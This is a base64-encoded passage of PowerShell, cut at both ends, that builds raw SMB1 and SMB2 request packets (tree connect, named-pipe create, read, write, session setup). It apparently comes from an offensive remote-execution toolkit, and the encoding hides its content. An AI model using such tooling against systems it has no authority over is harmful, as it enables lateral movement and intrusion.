YXRoX2xlbmd0aFswLDFdDQoNCiAgICAkcGFja2V0X1NNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdC5BZGQoIlNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3RfV29yZENvdW50IixbQnl0ZVtdXSgweDA0KSkNCiAgICAkcGFja2V0X1NNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QuQWRkKCJTTUJUcmVlQ29ubmVjdEFuZFhSZXF1ZXN0X0FuZFhDb21tYW5kIixbQnl0ZVtdXSgweGZmKSkNCiAgICAkcGFja2V0X1NNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QuQWRkKCJTTUJUcmVlQ29ubmVjdEFuZFhSZXF1ZXN0X1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QuQWRkKCJTTUJUcmVlQ29ubmVjdEFuZFhSZXF1ZXN0X0FuZFhPZmZzZXQiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJUcmVlQ29ubmVjdEFuZFhSZXF1ZXN0LkFkZCgiU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdF9GbGFncyIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3QuQWRkKCJTTUJUcmVlQ29ubmVjdEFuZFhSZXF1ZXN0X1Bhc3N3b3JkTGVuZ3RoIixbQnl0ZVtdXSgweDAxLDB4MDApKQ0KICAgICRwYWNrZXRfU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdC5BZGQoIlNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3RfQnl0ZUNvdW50IiwkcGFja2V0X3BhdGhfbGVuZ3RoKQ0KICAgICRwYWNrZXRfU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdC5BZGQoIlNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3RfUGFzc3dvcmQiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdC5BZGQoIlNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3RfVHJlZSIsJHBhY2tldF9wYXRoKQ0KICAgICRwYWNrZXRfU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdC5BZGQoIlNNQlRyZWVDb25uZWN0QW5kWFJlcXVlc3RfU2VydmljZSIsW0J5dGVbXV0oMHgzZiwweDNmLDB4M2YsMHgzZiwweDNmLDB4MDApKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CVHJlZUNvbm5lY3RBbmRYUmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CTlRDcmVhdGVBbmRYUmVxdWVzdCgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X25hbWVkX3BpcGUpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfbmFtZWRfcGlwZV9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfbmFtZWRfcGlwZS5MZW5ndGgpDQogICAgJHBhY2tldF9uYW1lZF9waXBlX2xlbmd0aCA9ICRwYWNrZXRfbmFtZWRfcGlwZV9sZW5ndGhbMCwxXQ0KICAgIFtCeXRlW11dJHBhY2tldF9maWxlX25hbWVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X25hbWVkX3BpcGUuTGVuZ3RoIC0gMSkNCiAgICAkcGFja2V0X2ZpbGVfbmFtZV9sZW5ndGggPSAkcGFja2V0X2ZpbGVfbmFtZV9sZW5ndGhbMCwxXQ0KDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NNQk5UQ3JlYXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJOVENyZWF0ZUFuZFhSZXF1ZXN0X1dvcmRDb3VudCIsW0J5dGVbXV0oMHgxOCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9BbmRYQ29tbWFuZCIsW0J5dGVbXV0oMHhmZikpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9SZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9BbmRYT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CTlRDcmVhdGVBbmRYUmVxdWVzdC5BZGQoIlNNQk5UQ3JlYXRlQW5kWFJlcXVlc3RfUmVzZXJ2ZWQyIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQk5UQ3JlYXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJOVENyZWF0ZUFuZFhSZXF1ZXN0X0ZpbGVOYW1lTGVuIiwkcGFja2V0X2ZpbGVfbmFtZV9sZW5ndGgpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9DcmVhdGVGbGFncyIsW0J5dGVbXV0oMHgxNiwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9Sb290RklEIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQk5UQ3JlYXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJOVENyZWF0ZUFuZFhSZXF1ZXN0X0FjY2Vzc01hc2siLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDIpKQ0KICAgICRwYWNrZXRfU01CTlRDcmVhdGVBbmRYUmVxdWVzdC5BZGQoIlNNQk5UQ3JlYXRlQW5kWFJlcXVlc3RfQWxsb2NhdGlvblNpemUiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9GaWxlQXR0cmlidXRlcyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9TaGFyZUFjY2VzcyIsW0J5dGVbXV0oMHgwNywweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9EaXNwb3NpdGlvbiIsW0J5dGVbXV0oMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9DcmVhdGVPcHRpb25zIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQk5UQ3JlYXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJOVENyZWF0ZUFuZFhSZXF1ZXN0X0ltcGVyc29uYXRpb24iLFtCeXRlW11dKDB4MDIsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CTlRDcmVhdGVBbmRYUmVxdWVzdC5BZGQoIlNNQk5UQ3JlYXRlQW5kWFJlcXVlc3RfU2VjdXJpdHlGbGFncyIsW0J5dGVbXV0oMHgwMCkpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9CeXRlQ291bnQiLCRwYWNrZXRfbmFtZWRfcGlwZV9sZW5ndGgpDQogICAgJHBhY2tldF9TTUJOVENyZWF0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CTlRDcmVhdGVBbmRYUmVxdWVzdF9GaWxlbmFtZSIsJHBhY2tldF9uYW1lZF9waXBlKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CTlRDcmVhdGVBbmRYUmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CUmVhZEFuZFhSZXF1ZXN0KCkNCnsNCiAgICAkcGFja2V0X1NNQlJlYWRBbmRYUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfV29yZENvdW50IixbQnl0ZVtdXSgweDBhKSkNCiAgICAkcGFja2V0X1NNQlJlYWRBbmRYUmVxdWVzdC5BZGQoIlNNQlJlYWRBbmRYUmVxdWVzdF9BbmRYQ29tbWFuZCIsW0J5dGVbXV0oMHhmZikpDQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CUmVhZEFuZFhSZXF1ZXN0LkFkZCgiU01CUmVhZEFuZFhSZXF1ZXN0X0FuZFhPZmZzZXQiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfRklEIixbQnl0ZVtdXSgweDAwLDB4NDApKQ0KICAgICRwYWNrZXRfU01CUmVhZEFuZFhSZXF1ZXN0LkFkZCgiU01CUmVhZEFuZFhSZXF1ZXN0X09mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfTWF4Q291bnRMb3ciLFtCeXRlW11dKDB4NTgsMHgwMikpDQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfTWluQ291bnQiLFtCeXRlW11dKDB4NTgsMHgwMikpDQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfVW5rbm93biIsW0J5dGVbXV0oMHhmZiwweGZmLDB4ZmYsMHhmZikpDQogICAgJHBhY2tldF9TTUJSZWFkQW5kWFJlcXVlc3QuQWRkKCJTTUJSZWFkQW5kWFJlcXVlc3RfUmVtYWluaW5nIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CUmVhZEFuZFhSZXF1ZXN0LkFkZCgiU01CUmVhZEFuZFhSZXF1ZXN0X0J5dGVDb3VudCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCg0KICAgIHJldHVybiAkcGFja2V0X1NNQlJlYWRBbmRYUmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CV3JpdGVBbmRYUmVxdWVzdCgpDQp7DQogICAgcGFyYW0oW0ludF0kcGFja2V0X1JQQ19sZW5ndGgpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfd3JpdGVfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpHZXRCeXRlcygkcGFja2V0X1JQQ19sZW5ndGggKyAyNCkNCiAgICAkcGFja2V0X3dyaXRlX2xlbmd0aCA9ICRwYWNrZXRfd3JpdGVfbGVuZ3RoWzAsMV0NCg0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUJXcml0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CV3JpdGVBbmRYUmVxdWVzdF9Xb3JkQ291bnQiLFtCeXRlW11dKDB4MGUpKQ0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdC5BZGQoIlNNQldyaXRlQW5kWFJlcXVlc3RfQW5kWENvbW1hbmQiLFtCeXRlW11dKDB4ZmYpKQ0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdC5BZGQoIlNNQldyaXRlQW5kWFJlcXVlc3RfUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdC5BZGQoIlNNQldyaXRlQW5kWFJlcXVlc3RfQW5kWE9mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQldyaXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJXcml0ZUFuZFhSZXF1ZXN0X0ZJRCIsW0J5dGVbXV0oMHgwMCwweDQwKSkNCiAgICAkcGFja2V0X1NNQldyaXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJXcml0ZUFuZFhSZXF1ZXN0X09mZnNldCIsW0J5dGVbXV0oMHhlYSwweDAzLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJXcml0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CV3JpdGVBbmRYUmVxdWVzdF9SZXNlcnZlZDIiLFtCeXRlW11dKDB4ZmYsMHhmZiwweGZmLDB4ZmYpKQ0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdC5BZGQoIlNNQldyaXRlQW5kWFJlcXVlc3RfV3JpdGVNb2RlIixbQnl0ZVtdXSgweDA4LDB4MDApKQ0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdC5BZGQoIlNNQldyaXRlQW5kWFJlcXVlc3RfUmVtYWluaW5nIixbQnl0ZVtdXSgweDUwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CV3JpdGVBbmRYUmVxdWVzdC5BZGQoIlNNQldyaXRlQW5kWFJlcXVlc3RfRGF0YUxlbmd0aEhpZ2giLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUJXcml0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CV3JpdGVBbmRYUmVxdWVzdF9EYXRhTGVuZ3RoTG93IiwkcGFja2V0X3dyaXRlX2xlbmd0aCkNCiAgICAkcGFja2V0X1NNQldyaXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJXcml0ZUFuZFhSZXF1ZXN0X0RhdGFPZmZzZXQiLFtCeXRlW11dKDB4M2YsMHgwMCkpDQogICAgJHBhY2tldF9TTUJXcml0ZUFuZFhSZXF1ZXN0LkFkZCgiU01CV3JpdGVBbmRYUmVxdWVzdF9IaWdoT2Zmc2V0IixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQldyaXRlQW5kWFJlcXVlc3QuQWRkKCJTTUJXcml0ZUFuZFhSZXF1ZXN0X0J5dGVDb3VudCIsJHBhY2tldF93cml0ZV9sZW5ndGgpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUJXcml0ZUFuZFhSZXF1ZXN0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUJDbG9zZVJlcXVlc3QoKQ0Kew0KICAgIHBhcmFtIChbQnl0ZVtdXSRwYWNrZXRfZmlsZV9JRCkNCg0KICAgICRwYWNrZXRfU01CQ2xvc2VSZXF1ZXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NNQkNsb3NlUmVxdWVzdC5BZGQoIlNNQkNsb3NlUmVxdWVzdF9Xb3JkQ291bnQiLFtCeXRlW11dKDB4MDMpKQ0KICAgICRwYWNrZXRfU01CQ2xvc2VSZXF1ZXN0LkFkZCgiU01CQ2xvc2VSZXF1ZXN0X0ZJRCIsJHBhY2tldF9maWxlX0lEKQ0KICAgICRwYWNrZXRfU01CQ2xvc2VSZXF1ZXN0LkFkZCgiU01CQ2xvc2VSZXF1ZXN0X0xhc3RXcml0ZSIsW0J5dGVbXV0oMHhmZiwweGZmLDB4ZmYsMHhmZikpDQogICAgJHBhY2tldF9TTUJDbG9zZVJlcXVlc3QuQWRkKCJTTUJDbG9zZVJlcXVlc3RfQnl0ZUNvdW50IixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CQ2xvc2VSZXF1ZXN0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUJUcmVlRGlzY29ubmVjdFJlcXVlc3QoKQ0Kew0KICAgICRwYWNrZXRfU01CVHJlZURpc2Nvbm5lY3RSZXF1ZXN0ID0gTmV3LU9iamVjdCBTeXN0ZW0uQ29sbGVjdGlvbnMuU3BlY2lhbGl6ZWQuT3JkZXJlZERpY3Rpb25hcnkNCiAgICAkcGFja2V0X1NNQlRyZWVEaXNjb25uZWN0UmVxdWVzdC5BZGQoIlNNQlRyZWVEaXNjb25uZWN0UmVxdWVzdF9Xb3JkQ291bnQiLFtCeXRlW11dKDB4MDApKQ0KICAgICRwYWNrZXRfU01CVHJlZURpc2Nvbm5lY3RSZXF1ZXN0LkFkZCgiU01CVHJlZURpc2Nvbm5lY3RSZXF1ZXN0X0J5dGVDb3VudCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCg0KICAgIHJldHVybiAkcGFja2V0X1NNQlRyZWVEaXNjb25uZWN0UmVxdWVzdA0KfQ0KDQpmdW5jdGlvbiBHZXQtUGFja2V0U01CTG9nb2ZmQW5kWFJlcXVlc3QoKQ0Kew0KICAgICRwYWNrZXRfU01CTG9nb2ZmQW5kWFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CTG9nb2ZmQW5kWFJlcXVlc3QuQWRkKCJTTUJMb2dvZmZBbmRYUmVxdWVzdF9Xb3JkQ291bnQiLFtCeXRlW11dKDB4MDIpKQ0KICAgICRwYWNrZXRfU01CTG9nb2ZmQW5kWFJlcXVlc3QuQWRkKCJTTUJMb2dvZmZBbmRYUmVxdWVzdF9BbmRYQ29tbWFuZCIsW0J5dGVbXV0oMHhmZikpDQogICAgJHBhY2tldF9TTUJMb2dvZmZBbmRYUmVxdWVzdC5BZGQoIlNNQkxvZ29mZkFuZFhSZXF1ZXN0X1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQkxvZ29mZkFuZFhSZXF1ZXN0LkFkZCgiU01CTG9nb2ZmQW5kWFJlcXVlc3RfQW5kWE9mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQkxvZ29mZkFuZFhSZXF1ZXN0LkFkZCgiU01CTG9nb2ZmQW5kWFJlcXVlc3RfQnl0ZUNvdW50IixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KDQogICAgcmV0dXJuICRwYWNrZXRfU01CTG9nb2ZmQW5kWFJlcXVlc3QNCn0NCg0KI1NNQjINCg0KZnVuY3Rpb24gR2V0LVBhY2tldFNNQjJIZWFkZXIoKQ0Kew0KICAgIHBhcmFtKFtCeXRlW11dJHBhY2tldF9jb21tYW5kLFtJbnRdJHBhY2tldF9tZXNzYWdlX0lELFtCeXRlW11dJHBhY2tldF90cmVlX0lELFtCeXRlW11dJHBhY2tldF9zZXNzaW9uX0lEKQ0KDQogICAgW0J5dGVbXV0kcGFja2V0X21lc3NhZ2VfSUQgPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfbWVzc2FnZV9JRCkgKyAweDAwLDB4MDAsMHgwMCwweDAwDQoNCiAgICAkcGFja2V0X1NNQjJIZWFkZXIgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfUHJvdG9jb2xJRCIsW0J5dGVbXV0oMHhmZSwweDUzLDB4NGQsMHg0MikpDQogICAgJHBhY2tldF9TTUIySGVhZGVyLkFkZCgiU01CMkhlYWRlcl9TdHJ1Y3R1cmVTaXplIixbQnl0ZVtdXSgweDQwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfQ3JlZGl0Q2hhcmdlIixbQnl0ZVtdXSgweDAxLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfQ2hhbm5lbFNlcXVlbmNlIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIySGVhZGVyLkFkZCgiU01CMkhlYWRlcl9Db21tYW5kIiwkcGFja2V0X2NvbW1hbmQpDQogICAgJHBhY2tldF9TTUIySGVhZGVyLkFkZCgiU01CMkhlYWRlcl9DcmVkaXRSZXF1ZXN0IixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfRmxhZ3MiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfTmV4dENvbW1hbmQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfTWVzc2FnZUlEIiwkcGFja2V0X21lc3NhZ2VfSUQpDQogICAgJHBhY2tldF9TTUIySGVhZGVyLkFkZCgiU01CMkhlYWRlcl9SZXNlcnZlZDIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMkhlYWRlci5BZGQoIlNNQjJIZWFkZXJfVHJlZUlEIiwkcGFja2V0X3RyZWVfSUQpDQogICAgJHBhY2tldF9TTUIySGVhZGVyLkFkZCgiU01CMkhlYWRlcl9TZXNzaW9uSUQiLCRwYWNrZXRfc2Vzc2lvbl9JRCkNCiAgICAkcGFja2V0X1NNQjJIZWFkZXIuQWRkKCJTTUIySGVhZGVyX1NpZ25hdHVyZSIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUIySGVhZGVyDQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0KCkNCnsNCiAgICAkcGFja2V0X1NNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QgPSBOZXctT2JqZWN0IFN5c3RlbS5Db2xsZWN0aW9ucy5TcGVjaWFsaXplZC5PcmRlcmVkRGljdGlvbmFyeQ0KICAgICRwYWNrZXRfU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfU3RydWN0dXJlU2l6ZSIsW0J5dGVbXV0oMHgyNCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0X0RpYWxlY3RDb3VudCIsW0J5dGVbXV0oMHgwMiwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0X1NlY3VyaXR5TW9kZSIsW0J5dGVbXV0oMHgwMSwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0X1Jlc2VydmVkIixbQnl0ZVtdXSgweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfQ2FwYWJpbGl0aWVzIixbQnl0ZVtdXSgweDQwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X1NNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3QuQWRkKCJTTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0X0NsaWVudEdVSUQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfTmVnb3RpYXRlQ29udGV4dE9mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0LkFkZCgiU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9OZWdvdGlhdGVDb250ZXh0Q291bnQiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0LkFkZCgiU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9SZXNlcnZlZDIiLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9TTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0LkFkZCgiU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdF9EaWFsZWN0IixbQnl0ZVtdXSgweDAyLDB4MDIpKQ0KICAgICRwYWNrZXRfU01CMk5lZ290aWF0ZVByb3RvY29sUmVxdWVzdC5BZGQoIlNNQjJOZWdvdGlhdGVQcm90b2NvbFJlcXVlc3RfRGlhbGVjdDIiLFtCeXRlW11dKDB4MTAsMHgwMikpDQoNCiAgICByZXR1cm4gJHBhY2tldF9TTUIyTmVnb3RpYXRlUHJvdG9jb2xSZXF1ZXN0DQp9DQoNCmZ1bmN0aW9uIEdldC1QYWNrZXRTTUIyU2Vzc2lvblNldHVwUmVxdWVzdCgpDQp7DQogICAgcGFyYW0oW0J5dGVbXV0kcGFja2V0X3NlY3VyaXR5X2Jsb2IpDQoNCiAgICBbQnl0ZVtdXSRwYWNrZXRfc2VjdXJpdHlfYmxvYl9sZW5ndGggPSBbU3lzdGVtLkJpdENvbnZlcnRlcl06OkdldEJ5dGVzKCRwYWNrZXRfc2VjdXJpdHlfYmxvYi5MZW5ndGgpDQogICAgJHBhY2tldF9zZWN1cml0eV9ibG9iX2xlbmd0aCA9ICRwYWNrZXRfc2VjdXJpdHlfYmxvYl9sZW5ndGhbMCwxXQ0KDQogICAgJHBhY2tldF9TTUIyU2Vzc2lvblNldHVwUmVxdWVzdCA9IE5ldy1PYmplY3QgU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkLk9yZGVyZWREaWN0aW9uYXJ5DQogICAgJHBhY2tldF9TTUIyU2Vzc2lvblNldHVwUmVxdWVzdC5BZGQoIlNNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0X1N0cnVjdHVyZVNpemUiLFtCeXRlW11dKDB4MTksMHgwMCkpDQogICAgJHBhY2tldF9TTUIyU2Vzc2lvblNldHVwUmVxdWVzdC5BZGQoIlNNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0X0ZsYWdzIixbQnl0ZVtdXSgweDAwKSkNCiAgICAkcGFja2V0X1NNQjJTZXNzaW9uU2V0dXBSZXF1ZXN0LkFkZCgiU01CMlNlc3Npb25TZXR1cFJlcXVlc3RfU2Vjd